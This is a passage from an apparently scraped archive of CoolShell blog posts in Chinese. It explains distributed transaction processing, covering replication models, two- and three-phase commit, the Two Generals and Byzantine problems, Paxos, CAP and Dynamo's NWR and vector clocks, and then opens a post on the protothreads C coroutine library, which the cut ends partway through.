30px;\">2）写请求写到Master上后，由Master同步到Slave上。</p>\n<p>从Master同步到Slave上，你可以使用异步，也可以使用同步，可以使用Master来push，也可以使用Slave来pull。 通常来说是Slave来周期性的pull，所以，是最终一致性。这个设计的问题是，如果Master在pull周期内垮掉了，那么会导致这个时间片内的数据丢失。如果你不想让数据丢掉，Slave只能成为Read-Only的方式等Master恢复。</p>\n<p>当然，如果你可以容忍数据丢掉的话，你可以马上让Slave代替Master工作（对于只负责计算的结点来说，没有数据一致性和数据丢失的问题，Master-Slave的方式就可以解决单点问题了） 当然，Master Slave也可以是强一致性的， 比如：当我们写Master的时候，Master负责先写自己，等成功后，再写Slave，两者都成功后返回成功，整个过程是同步的，如果写Slave失败了，那么两种方法，一种是标记Slave不可用报错并继续服务（等Slave恢复后同步Master的数据，可以有多个Slave，这样少一个，还有备份，就像前面说的写三份那样），另一种是回滚自己并返回写失败。（注：一般不先写Slave，因为如果写Master自己失败后，还要回滚Slave，此时如果回滚Slave失败，就得手工订正数据了）你可以看到，如果Master-Slave需要做成强一致性有多复杂。</p>\n<h4>Master-Master</h4>\n<p>Master-Master，又叫<a href=\"http://en.wikipedia.org/wiki/Multi-master_replication\" target=\"_blank\">Multi-master</a>，是指一个系统存在两个或多个Master，每个Master都提供read-write服务。这个模型是Master-Slave的加强版，数据间同步一般是通过Master间的异步完成，所以是最终一致性。 Master-Master的好处是，一台Master挂了，别的Master可以正常做读写服务，他和Master-Slave一样，当数据没有被复制到别的Master上时，数据会丢失。很多数据库都支持Master-Master的Replication的机制。</p>\n<p>另外，如果多个Master对同一个数据进行修改的时候，这个模型的恶梦就出现了——对数据间的冲突合并，这并不是一件容易的事情。看看Dynamo的Vector Clock的设计（记录数据的版本号和修改者）就知道这个事并不那么简单，而且Dynamo对数据冲突这个事是交给用户自己搞的。就像我们的SVN源码冲突一样，对于同一行代码的冲突，只能交给开发者自己来处理。（在本文后后面会讨论一下Dynamo的Vector Clock）</p>\n<h4>Two/Three Phase Commit</h4>\n<p>这个协议的缩写又叫2PC，中文叫两阶段提交。在分布式系统中，每个节点虽然可以知晓自己的操作时成功或者失败，却无法知道其他节点的操作的成功或失败。当一个事务跨越多个节点时，为了保持事务的ACID特性，需要引入一个作为<strong>协调者</strong>的组件来统一掌控所有节点(称作<b>参与者</b>)的操作结果并最终指示这些节点是否要把操作结果进行真正的提交(比如将更新后的数据写入磁盘等等)。 两阶段提交的算法如下：</p>\n<p><strong> 第一阶段</strong>：</p>\n<ol>\n<li>协调者会问所有的参与者结点，是否可以执行提交操作。</li>\n<li>各个参与者开始事务执行的准备工作：如：为资源上锁，预留资源，写undo/redo log……</li>\n<li>参与者响应协调者，如果事务的准备工作成功，则回应“可以提交”，否则回应“拒绝提交”。</li>\n</ol>\n<p><strong>第二阶段</strong>：</p>\n<ul>\n<li>如果所有的参与者都回应“可以提交”，那么，协调者向所有的参与者发送“正式提交”的命令。参与者完成正式提交，并释放所有资源，然后回应“完成”，协调者收集各结点的“完成”回应后结束这个Global Transaction。</li>\n</ul>\n<ul>\n<li>如果有一个参与者回应“拒绝提交”，那么，协调者向所有的参与者发送“回滚操作”，并释放所有资源，然后回应“回滚完成”，协调者收集各结点的“回滚”回应后，取消这个Global Transaction。</li>\n</ul>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-10929\" height=\"195\" src=\"../wp-content/uploads/2014/01/Two-phase_commit.png\" width=\"518\"/></p>\n<p>我们可以看到，2PC说白了就是第一阶段做Vote，第二阶段做决定的一个算法，也可以看到2PC这个事是强一致性的算法。在前面我们讨论过Master-Slave的强一致性策略，和2PC有点相似，只不过2PC更为保守一些——先尝试再提交。 2PC用的是比较多的，在一些系统设计中，会串联一系列的调用，比如：A -&gt; B -&gt; C -&gt; D，每一步都会分配一些资源或改写一些数据。比如我们B2C网上购物的下单操作在后台会有一系列的流程需要做。如果我们一步一步地做，就会出现这样的问题，如果某一步做不下去了，那么前面每一次所分配的资源需要做反向操作把他们都回收掉，所以，操作起来比较复杂。现在很多处理流程（Workflow）都会借鉴2PC这个算法，使用 try -&gt; confirm的流程来确保整个流程的能够成功完成。 举个通俗的例子，西方教堂结婚的时候，都有这样的桥段：</p>\n<p style=\"padding-left: 30px;\">1）牧师分别问新郎和新娘：你是否愿意……不管生老病死……（询问阶段）</p>\n<p style=\"padding-left: 30px;\">2）当新郎和新娘都回答愿意后（锁定一生的资源），牧师就会说：我宣布你们……（事务提交）</p>\n<p>这是多么经典的一个两阶段提交的事务处理。 另外，我们也可以看到其中的一些问题， A）其中一个是同步阻塞操作，这个事情必然会非常大地影响性能。 B）另一个主要的问题是在TimeOut上，比如，</p>\n<p style=\"padding-left: 30px;\">1）如果第一阶段中，参与者没有收到询问请求，或是参与者的回应没有到达协调者。那么，需要协调者做超时处理，一旦超时，可以当作失败，也可以重试。</p>\n<p style=\"padding-left: 30px;\">2）如果第二阶段中，正式提交发出后，如果有的参与者没有收到，或是参与者提交/回滚后的确认信息没有返回，一旦参与者的回应超时，要么重试，要么把那个参与者标记为问题结点剔除整个集群，这样可以保证服务结点都是数据一致性的。</p>\n<p style=\"padding-left: 30px;\">3）糟糕的情况是，第二阶段中，如果参与者收不到协调者的commit/fallback指令，参与者将处于“状态未知”阶段，参与者完全不知道要怎么办，比如：如果所有的参与者完成第一阶段的回复后（可能全部yes，可能全部no，可能部分yes部分no），如果协调者在这个时候挂掉了。那么所有的结点完全不知道怎么办（问别的参与者都不行）。为了一致性，要么死等协调者，要么重发第一阶段的yes/no命令。</p>\n<p>两段提交最大的问题就是第3）项，<strong>如果第一阶段完成后，参与者在第二阶没有收到决策，那么数据结点会进入“不知所措”的状态，这个状态会block住整个事务</strong>。也就是说，协调者Coordinator对于事务的完成非常重要，Coordinator的可用性是个关键。 因些，我们引入三段提交，三段提交在<a href=\"http://en.wikipedia.org/wiki/Three-phase_commit_protocol\" target=\"_blank\">Wikipedia</a>上的描述如下，他把二段提交的第一个段break成了两段：询问，然后再锁资源。最后真正提交。三段提交的示意图如下：</p>\n<p style=\"padding-left: 30px;\"><img alt=\"\" class=\"aligncenter\" height=\"321\" src=\"../wp-content/uploads/2014/01/Three-phase_commit_diagram.png\" width=\"611\"/></p>\n<p>三段提交的核心理念是：<strong>在询问的时候并不锁定资源，除非所有人都同意了，才开始锁资源</strong>。</p>\n<p style=\"text-align: left;\">理论上来说，如果第一阶段所有的结点返回成功，那么有理由相信成功提交的概率很大。这样一来，可以降低参与者Cohorts的状态未知的概率。也就是说，一旦参与者收到了PreCommit，意味他知道大家其实都同意修改了。这一点很重要。下面我们来看一下3PC的状态迁移图：（<strong>注意图中的虚线，那些F,T是Failuer或Timeout</strong>，其中的：状态含义是 q – Query，a – Abort，w – Wait，p – PreCommit，c – Commit）</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-10931\" height=\"374\" src=\"../wp-content/uploads/2014/01/Three-phase_commit_status.png\" width=\"614\"/></p>\n<p style=\"text-align: left;\">从上图的状态变化图我们可以从虚线（那些F,T是Failuer或Timeout）看到——<strong>如果结点处在P状态（PreCommit）的时候发生了F/T的问题，三段提交比两段提交的好处是，三段提交可以继续直接把状态变成C状态（Commit），而两段提交则不知所措</strong>。</p>\n<p style=\"text-align: left;\">其实，三段提交是一个很复杂的事情，实现起来相当难，而且也有一些问题。</p>\n<p style=\"text-align: left;\">看到这里，我相信你有很多很多的问题，你一定在思考2PC/3PC中各种各样的失败场景，<strong>你会发现Timeout是个非常难处理的事情，因为网络上的Timeout在很多时候让你无所事从，你也不知道对方是做了还是没有做。于是你好好的一个状态机就因为Timeout成了个摆设</strong>。</p>\n<p style=\"text-align: left;\"><strong>一个网络服务会有三种状态：1）Success，2）Failure，3）Timeout，第三个绝对是恶梦，尤其在你需要维护状态的时候</strong>。</p>\n<h4>Two Generals Problem（两将军问题）</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Two_Generals'_Problem\" target=\"_blank\">Two Generals Problem</a> 两将军问题是这么一个思维性实验问题： 有两支军队，它们分别有一位将军领导，现在准备攻击一座修筑了防御工事的城市。这两支军队都驻扎在那座城市的附近，分占一座山头。一道山谷把两座山分隔开来，并且两位将军唯一的通信方式就是派各自的信使来往于山谷两边。不幸的是，这个山谷已经被那座城市的保卫者占领，并且存在一种可能，那就是任何被派出的信使通过山谷是会被捕。 请注意，虽然两位将军已经就攻击那座城市达成共识，但在他们各自占领山头阵地之前，并没有就进攻时间达成共识。两位将军必须让自己的军队同时进攻城市才能取得成功。因此，他们必须互相沟通，以确定一个时间来攻击，并同意就在那时攻击。如果只有一个将军进行攻击，那么这将是一个灾难性的失败。 这个思维实验就包括考虑他们如何去做这件事情。下面是我们的思考：</p>\n<p style=\"padding-left: 30px;\">1）第一位将军先发送一段消息“让我们在上午9点开始进攻”。然而，一旦信使被派遣，他是否通过了山谷，第一位将军就不得而知了。任何一点的不确定性都会使得第一位将军攻击犹豫，因为如果第二位将军不能在同一时刻发动攻击，那座城市的驻军就会击退他的军队的进攻，导致他的军对被摧毁。</p>\n<p style=\"padding-left: 30px;\">2）知道了这一点，第二位将军就需要发送一个确认回条：“我收到您的邮件，并会在9点的攻击。”但是，如果带着确认消息的信使被抓怎么办？所以第二位将军会犹豫自己的确认消息是否能到达。</p>\n<p style=\"padding-left: 30px;\">3）于是，似乎我们还要让第一位将军再发送一条确认消息——“我收到了你的确认”。然而，如果这位信使被抓怎么办呢？</p>\n<p style=\"padding-left: 30px;\">4）这样一来，是不是我们还要第二位将军发送一个“确认收到你的确认”的信息。</p>\n<p>靠，于是你会发现，这事情很快就发展成为不管发送多少个确认消息，都没有办法来保证两位将军有足够的自信自己的信使没有被敌军捕获。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-10933\" height=\"251\" src=\"../wp-content/uploads/2014/01/two-generals-problems.jpg\" width=\"538\"/></p>\n<p style=\"text-align: left;\"><strong style=\"line-height: 1.5em;\">这个问题是无解的</strong><span style=\"line-height: 1.5em;\">。</span><span style=\"line-height: 1.5em;\">两个将军问题和它的无解证明首先由E.A.Akkoyunlu,K.Ekanadham和R.V.Huber于1975年在《一些限制与折衷的网络通信设计》一文中发表，就在这篇文章的第73页中一段描述两个黑帮之间的通信中被阐明。 1978年，在Jim Gray的《数据库操作系统注意事项》一书中（从第465页开始）被命名为两个将军悖论。作为两个将军问题的定义和无解性的证明的来源，这一参考被广泛提及。</span></p>\n<p style=\"text-align: left;\">这个实验意在阐明：试图通过建立在一个不可靠的连接上的交流来协调一项行动的隐患和设计上的巨大挑战。</p>\n<p style=\"text-align: left;\">从工程上来说，一个解决两个将军问题的实际方法是使用一个能够承受通信信道不可靠性的方案，并不试图去消除这个不可靠性，但要将不可靠性削减到一个可以接受的程度。比如，第一位将军排出了100位信使并预计他们都被捕的可能性很小。在这种情况下，不管第二位将军是否会攻击或者受到任何消息，第一位将军都会进行攻击。另外，第一位将军可以发送一个消息流，而第二位将军可以对其中的每一条消息发送一个确认消息，这样如果每条消息都被接收到，两位将军会感觉更好。然而我们可以从证明中看出，他们俩都不能肯定这个攻击是可以协调的。他们没有算法可用（比如，收到4条以上的消息就攻击）能够确保防止仅有一方攻击。再者，第一位将军还可以为每条消息编号，说这是1号，2号……直到n号。这种方法能让第二位将军知道通信信道到底有多可靠，并且返回合适的数量的消息来确保最后一条消息被接收到。如果信道是可靠的话，只要一条消息就行了，其余的就帮不上什么忙了。最后一条和第一条消息丢失的概率是相等的。</p>\n<p> 两将军问题可以扩展成更变态的<strong>拜占庭将军问题 (Byzantine Generals Problem)</strong>，其故事背景是这样的：拜占庭位于现在土耳其的伊斯坦布尔，是东罗马帝国的首都。由于当时拜占庭罗马帝国国土辽阔，为了防御目的，因此每个军队都分隔很远，将军与将军之间只能靠信差传消息。 在战争的时候，拜占庭军队内所有将军必需达成一致的共识，决定是否有赢的机会才去攻打敌人的阵营。但是，军队可能有叛徒和敌军间谍，这些叛徒将军们会扰乱或左右决策的过程。这时候，在已知有成员谋反的情况下，其余忠诚的将军在不受叛徒的影响下如何达成一致的协议，这就是拜占庭将军问题。</p>\n<h4>Paxos算法</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Paxos_(computer_science)\" target=\"_blank\">Wikipedia上的各种Paxos算法</a>的描述非常详细，大家可以去围观一下。</p>\n<p>Paxos 算法解决的问题是在一个可能发生上述异常的分布式系统中如何就某个值达成一致，保证不论发生以上任何异常，都不会破坏决议的一致性。一个典型的场景是，在一个分布式数据库系统中，如果各节点的初始状态一致，每个节点都执行相同的操作序列，那么他们最后能得到一个一致的状态。为保证每个节点执行相同的命令序列，需要在每一条指令上执行一个「一致性算法」以保证每个节点看到的指令一致。一个通用的一致性算法可以应用在许多场景中，是分布式计算中的重要问题。从20世纪80年代起对于一致性算法的研究就没有停止过。</p>\n<p><strong>Notes</strong>：Paxos算法是莱斯利·兰伯特（Leslie Lamport，就是 LaTeX 中的”La”，此人现在在微软研究院）于1990年提出的一种基于消息传递的一致性算法。由于算法难以理解起初并没有引起人们的重视，使Lamport在八年后1998年重新发表到ACM Transactions on Computer Systems上（<a href=\"http://research.microsoft.com/users/lamport/pubs/lamport-paxos.pdf\" rel=\"nofollow\">The Part-Time Parliament</a>）。即便如此paxos算法还是没有得到重视，2001年Lamport 觉得同行无法接受他的幽默感，于是用容易接受的方法重新表述了一遍（<a href=\"http://research.microsoft.com/users/lamport/pubs/paxos-simple.pdf\" rel=\"nofollow\">Paxos Made Simple</a>）。可见Lamport对Paxos算法情有独钟。近几年Paxos算法的普遍使用也证明它在分布式一致性算法中的重要地位。2006年Google的三篇论文初现“云”的端倪，其中的Chubby Lock服务使用Paxos作为Chubby Cell中的一致性算法，Paxos的人气从此一路狂飙。（Lamport 本人在 <a href=\"http://research.microsoft.com/users/lamport/pubs/pubs.html#lamport-paxos\" target=\"_blank\">他的blog 中</a>描写了他用9年时间发表这个算法的前前后后）</p>\n<p>注：Amazon的AWS中，所有的云服务都基于一个ALF（Async Lock Framework）的框架实现的，这个ALF用的就是Paxos算法。我在Amazon的时候，看内部的分享视频时，设计者在内部的Principle Talk里说他参考了ZooKeeper的方法，但他用了另一种比ZooKeeper更易读的方式实现了这个算法。</p>\n<p>简单说来，Paxos的目的是让整个集群的结点对某个值的变更达成一致。Paxos算法基本上来说是个民主选举的算法——大多数的决定会成个整个集群的统一决定。任何一个点都可以提出要修改某个数据的提案，是否通过这个提案取决于这个集群中是否有超过半数的结点同意（所以Paxos算法需要集群中的结点是单数）。</p>\n<p><span style=\"line-height: 1.5em;\">这个算法有两个阶段（假设这个有三个结点：A，B，C）：</span></p>\n<p style=\"padding-left: 30px;\"><strong>第一阶段：Prepare阶段</strong></p>\n<p style=\"padding-left: 30px;\">A把申请修改的请求Prepare Request发给所有的结点A，B，C。注意，Paxos算法会有一个Sequence Number（你可以认为是一个提案号，这个数不断递增，而且是唯一的，也就是说A和B不可能有相同的提案号），这个提案号会和修改请求一同发出，任何结点在“Prepare阶段”时都会拒绝其值小于当前提案号的请求。所以，结点A在向所有结点申请修改请求的时候，需要带一个提案号，越新的提案，这个提案号就越是是最大的。</p>\n<p style=\"padding-left: 30px;\">如果接收结点收到的提案号n大于其它结点发过来的提案号，这个结点会回应Yes（本结点上最新的被批准提案号），并保证不接收其它&lt;n的提案。这样一来，结点上在Prepare阶段里总是会对最新的提案做承诺。</p>\n<p style=\"padding-left: 30px;\">优化：在上述 prepare 过程中，如果任何一个结点发现存在一个更高编号的提案，则需要通知 提案人，提醒其中断这次提案。</p>\n<p style=\"padding-left: 30px;\"><strong>第二阶段：Accept阶段</strong></p>\n<p style=\"padding-left: 30px;\">如果提案者A收到了超过半数的结点返回的Yes，然后他就会向所有的结点发布Accept Request（同样，需要带上提案号n），如果没有超过半数的话，那就返回失败。</p>\n<p style=\"padding-left: 30px;\">当结点们收到了Accept Request后，如果对于接收的结点来说，n是最大的了，那么，它就会修改这个值，如果发现自己有一个更大的提案号，那么，结点就会拒绝修改。</p>\n<p>我们可以看以，这似乎就是一个“两段提交”的优化。其实，<strong>2PC/3PC都是分布式一致性算法的残次版本，Google Chubby的作者Mike Burrows说过这个世界上只有一种一致性算法，那就是Paxos，其它的算法都是残次品。</strong></p>\n<p><strong></strong>我们还可以看到：对于同一个值的在不同结点的修改提案就算是在接收方被乱序收到也是没有问题的。</p>\n<p>关于一些实例，你可以看一下Wikipedia中文中的“<a href=\"http://zh.wikipedia.org/zh/Paxos%E7%AE%97%E6%B3%95#.E5.AE.9E.E4.BE.8B\" target=\"_blank\">Paxos样例</a>”一节，我在这里就不再多说了。对于Paxos算法中的一些异常示例，大家可以自己推导一下。你会发现基本上来说只要保证有半数以上的结点存活，就没有什么问题。</p>\n<p>多说一下，自从Lamport在1998年发表Paxos算法后，对Paxos的各种改进工作就从未停止，其中动作最大的莫过于2005年发表的<a href=\"http://research.microsoft.com/apps/pubs/default.aspx?id=64624\" target=\"_blank\">Fast Paxos</a>。无论何种改进，其重点依然是在消息延迟与性能、吞吐量之间作出各种权衡。为了容易地从概念上区分二者，称前者Classic Paxos，改进后的后者为Fast Paxos。</p>\n<h4>总结</h4>\n<div id=\"Msg_18730\">下图来自：Google App Engine的co-founder Ryan Barrett在2009年的google i/o上的演讲《<a href=\"http://snarfed.org/transactions_across_datacenters_io.html\" target=\"_blank\">Transaction Across DataCenter</a>》（视频： <a href=\"http://www.youtube.com/watch?v=srOgpXECblk\" target=\"_blank\" title=\"阿里旺旺无法确定该链接的安全性\">http://www.youtube.com/watch?v=srOgpXECblk</a>）</div>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-10942\" height=\"255\" src=\"../wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg\" width=\"566\"/></p>\n<p style=\"text-align: left;\">前面，我们说过，要想让数据有高可用性，就需要冗余数据写多份。写多份的问题会带来一致性的问题，而一致性的问题又会带来性能问题。从上图我们可以看到，我们基本上来说不可以让所有的项都绿起来，这就是著名的CAP理论：一致性，可用性，分区容忍性，你只可能要其中的两个。</p>\n<h4>NWR模型</h4>\n<p><strong>最后我还想提一下Amazon Dynamo的NWR模型。这个NWR模型把CAP的选择权交给了用户，让用户自己的选择你的CAP中的哪两个</strong>。</p>\n<p>所谓NWR模型。N代表N个备份，W代表要写入至少W份才认为成功，R表示至少读取R个备份。<strong>配置的时候要求W+R &gt; N</strong>。 因为W+R &gt; N， 所以 R &gt; N-W 这个是什么意思呢？就是读取的份数一定要比总备份数减去确保写成功的倍数的差值要大。</p>\n<p>也就是说，每次读取，都至少读取到一个最新的版本。从而不会读到一份旧数据。当我们需要高可写的环境的时候，我们可以配置W = 1 如果N=3 那么R = 3。 这个时候只要写任何节点成功就认为成功，但是读的时候必须从所有的节点都读出数据。如果我们要求读的高效率，我们可以配置 W=N R=1。这个时候任何一个节点读成功就认为成功，但是写的时候必须写所有三个节点成功才认为成功。</p>\n<p>NWR模型的一些设置会造成脏数据的问题，因为这很明显不是像Paxos一样是一个强一致的东西，所以，可能每次的读写操作都不在同一个结点上，于是会出现一些结点上的数据并不是最新版本，但却进行了最新的操作。</p>\n<p>所以，Amazon Dynamo引了数据版本的设计。也就是说，如果你读出来数据的版本是v1，当你计算完成后要回填数据后，却发现数据的版本号已经被人更新成了v2，那么服务器就会拒绝你。版本这个事就像“乐观锁”一样。</p>\n<p>但是，对于分布式和NWR模型来说，版本也会有恶梦的时候——就是版本冲的问题，比如：我们设置了N=3 W=1，如果A结点上接受了一个值，版本由v1 -&gt; v2，但还没有来得及同步到结点B上（异步的，应该W=1，写一份就算成功），B结点上还是v1版本，此时，B结点接到写请求，按道理来说，他需要拒绝掉，但是他一方面并不知道别的结点已经被更新到v2，另一方面他也无法拒绝，因为W=1，所以写一分就成功了。于是，出现了严重的版本冲突。</p>\n<p>Amazon的Dynamo把版本冲突这个问题巧妙地回避掉了——版本冲这个事交给用户自己来处理。</p>\n<p>于是，Dynamo引入了Vector Clock（矢量钟？!）这个设计。这个设计让每个结点各自记录自己的版本信息，也就是说，对于同一个数据，需要记录两个事：1）谁更新的我，2）我的版本号是什么。</p>\n<p>下面，我们来看一个操作序列：</p>\n<p style=\"padding-left: 30px;\">1）一个写请求，第一次被节点A处理了。节点A会增加一个版本信息(A，1)。我们把这个时候的数据记做D1(A，1)。 然后另外一个对同样key的请求还是被A处理了于是有D2(A，2)。这个时候，D2是可以覆盖D1的，不会有冲突产生。</p>\n<p style=\"padding-left: 30px;\">2）现在我们假设D2传播到了所有节点(B和C)，B和C收到的数据不是从客户产生的，而是别人复制给他们的，所以他们不产生新的版本信息，所以现在B和C所持有的数据还是D2(A，2)。于是A，B，C上的数据及其版本号都是一样的。</p>\n<p style=\"padding-left: 30px;\">3）如果我们有一个新的写请求到了B结点上，于是B结点生成数据D3(A,2; B,1)，意思是：数据D全局版本号为3，A升了两新，B升了一次。这不就是所谓的代码版本的log么？</p>\n<p style=\"padding-left: 30px;\">4）如果D3没有传播到C的时候又一个请求被C处理了，于是，以C结点上的数据是D4(A,2; C,1)。</p>\n<p style=\"padding-left: 30px;\">5）好，最精彩的事情来了：如果这个时候来了一个读请求，我们要记得，我们的W=1 那么R=N=3，所以R会从所有三个节点上读，此时，他会读到三个版本：</p>\n<ul>\n<ul>\n<li>A结点：D2(A,2)</li>\n<li>B结点：D3(A,2;  B,1);</li>\n<li>C结点：D4(A,2;  C,1)</li>\n</ul>\n</ul>\n<p style=\"padding-left: 30px;\">6）这个时候可以判断出，D2已经是旧版本（已经包含在D3/D4中），可以舍弃。</p>\n<p style=\"padding-left: 30px;\">7）但是D3和D4是明显的版本冲突。于是，交给调用方自己去做版本冲突处理。就像源代码版本管理一样。</p>\n<p>很明显，上述的Dynamo的配置用的是CAP里的A和P。</p>\n<p>我非常推大家都去看看这篇论文：《<a href=\"http://www.read.seas.harvard.edu/~kohler/class/cs239-w08/decandia07dynamo.pdf\" target=\"_blank\">Dynamo：Amazon’s Highly Available Key-Value Store</a>》，如果英文痛苦，你可以<a href=\"http://vdisk.weibo.com/s/AKRQZMLLc1ol\" target=\"_blank\">看看译文</a>（译者不详）。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/6470.html\"><img alt=\"由12306.cn谈谈网站性能技术 \" height=\"150\" src=\"../wp-content/uploads/2012/01/12306-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/6470.html\">由12306.cn谈谈网站性能技术 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/9169.html\"><img alt=\"并发框架Disruptor译文\" height=\"150\" src=\"../wp-content/uploads/2013/02/Disruptor-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/9169.html\">并发框架Disruptor译文</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/6790.html\"><img alt=\"多版本并发控制(MVCC)在分布式系统中的应用\" height=\"150\" src=\"../wp-content/uploads/2012/03/o_conditional_update_1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/6790.html\">多版本并发控制(MVCC)在分布式系统中的应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/8239.html\"><img alt=\"无锁队列的实现\" height=\"150\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/8239.html\">无锁队列的实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/7236.html\"><img alt=\"用Unix的设计思想来应对多变的需求\" height=\"150\" src=\"../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-1-28 一个“蝇量级” C 语言协程库.html",
    "content": "<html><body><p><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>协程(coroutine)顾名思义就是“协作的例程”（co-operative routines）。跟具有操作系统概念的线程不一样，协程是在用户空间利用程序语言的语法语义就能实现逻辑上类似多任务的编程技巧。实际上协程的概念比线程还要早，按照 Knuth 的说法<strong>“子例程是协程的特例”</strong>，一个子例程就是一次子函数调用，那么实际上协程就是类函数一样的程序组件，你可以在一个线程里面轻松创建数十万个协程，就像数十万次函数调用一样。只不过子例程只有一个调用入口起始点，返回之后就结束了，而协程入口既可以是起始点，又可以从上一个返回点继续执行，也就是说协程之间可以通过 yield 方式转移执行权，<strong>对称（symmetric）、平级</strong>地调用对方，而不是像例程那样上下级调用关系。当然 Knuth 的“特例”指的是协程也可以模拟例程那样实现上下级调用关系，这就叫<strong>非对称协程</strong>（asymmetric coroutines）。</p>\n<h4>基于事件驱动模型</h4>\n<p>我们举一个例子来看看一种<strong>对称协程</strong>调用场景，大家最熟悉的“生产者-消费者”事件驱动模型，一个协程负责生产产品并将它们加入队列，另一个负责从队列中取出产品并使用它。为了提高效率，你想一次增加或删除多个产品。伪代码可以是这样的：</p>\n<pre class=\"EnlighterJSRAW\"># producer coroutine\nloop\nwhile queue is not full\n  create some new items\n  add the items to queue\nyield to consumer\n\n# consumer coroutine\nloop\nwhile queue is not empty\n  remove some items from queue\n  use the items\nyield to producer</pre>\n<p><span id=\"more-10975\"></span></p>\n<p>大多数教材上拿这种模型作为多线程的例子，实际上多线程在此的应用还是显得有点“重量级”，由于缺乏 yield 语义，线程之间不得不使用同步机制来避免产生全局资源的竟态，这就不可避免产生了休眠、调度、切换上下文一类的系统开销，而且线程调度还会产生时序上的不确定性。而对于协程来说，“挂起”的概念只不过是转让代码执行权并调用另外的协程，待到转让的协程告一段落后重新得到调用并从挂起点“唤醒”，这种协程间的调用是逻辑上可控的，时序上确定的，可谓一切尽在掌握中。</p>\n<p>当今一些具备协程语义的语言，比较重量级的如C#、erlang、golang，以及轻量级的python、lua、javascript、ruby，还有函数式的scala、scheme等。相比之下，作为原生态语言的 C 反而处于尴尬的地位，原因在于 C 依赖于一种叫做<strong>栈帧</strong>的例程调用，例程内部的状态量和返回值都保留在堆栈上，这意味着生产者和消费者相互之间无法实现平级调用，当然你可以改写成把生产者作为主例程然后将产品作为传递参数调用消费者例程，这样的代码写起来费力不讨好而且看起来会很难受，特别当协程数目达到十万数量级，这种写法就过于僵化了。</p>\n<p>这就引出了协程的概念，<strong>如果将每个协程的上下文（比如程序计数器）保存在其它地方而不是堆栈上，协程之间相互调用时，被调用的协程只要从堆栈以外的地方恢复上次出让点之前的上下文即可，这有点类似于 CPU 的上下文切换，</strong>遗憾的是似乎只有更底层的汇编语言才能做到这一点。</p>\n<p>难道 C 语言只能用多线程吗？幸运的是，C 标准库给我们提供了两种协程调度原语：一种是<a href=\"http://zh.wikipedia.org/wiki/Setjmp.h\" target=\"_blank\" title=\"http://zh.wikipedia.org/wiki/Setjmp.h\"> setjmp/longjmp</a>，另一种是<a href=\"http://pubs.opengroup.org/onlinepubs/7990989799/xsh/ucontext.h.html\" target=\"_blank\" title=\"http://pubs.opengroup.org/onlinepubs/7990989799/xsh/ucontext.h.html\"> ucontext 组件</a>，它们内部（当然是用汇编语言）实现了协程的上下文切换，相较之下前者在应用上会产生相当的不确定性（比如不好封装，具体说明参考联机文档），所以后者应用更广泛一些，网上绝大多数 C 协程库也是基于 ucontext 组件实现的。</p>\n<h4>“蝇量级”的协程库</h4>\n<p>在此，我来介绍一种“蝇量级”的开源 C 协程库 <a href=\"http://dunkels.com/adam/pt/\" target=\"_blank\" title=\"http://dunkels.com/adam/pt/\">protothreads</a>。这是一个全部用 ANSI C 写成的库，之所以称为“蝇量级”的，就是说，实现已经不能再精简了，几乎就是原语级别。事实上 protothreads 整个库不需要链接加载，因为所有源码都是头文件，类似于 STL 这样不依赖任何第三方库，在任何平台上可移植；总共也就 5 个头文件，有效代码量不足 100 行；API 都是宏定义的，所以不存在调用开销；最后，每个协程的空间开销是 2 个字节（是的，你没有看错，就是一个 short 单位的“栈”！）当然这种精简是要以使用上的局限为代价的，接下来的分析会说明这一点。</p>\n<p>先来看看 protothreads 